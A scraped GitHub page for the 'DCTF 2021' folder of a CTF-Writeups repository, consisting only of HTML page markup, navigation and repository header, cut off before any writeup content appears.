integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6D3:7D19:1B89B25:1CC4FFC:618306FB" data-pjax-transient="true"/><meta name="html-safe-nonce" content="41d0e350eeb871734b4da84934f71492e618e82b13c61c2350faca5bda8fc811" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkQzOjdEMTk6MUI4OUIyNToxQ0M0RkZDOjYxODMwNkZCIiwidmlzaXRvcl9pZCI6IjMzODg0NzM1MDU4OTE5NDQxODciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="3cce18aad48922c90c5f58d3cd8bd7382384d57c3a4222d20433d21cacea450b" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="982Z5Kebc8msrhylrkGsL/d0tqWmaYoVJtZpslXEzPPuQpVKTRWQxv/kurny947rj9ldfjf7Exu57JKR7sFgAg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 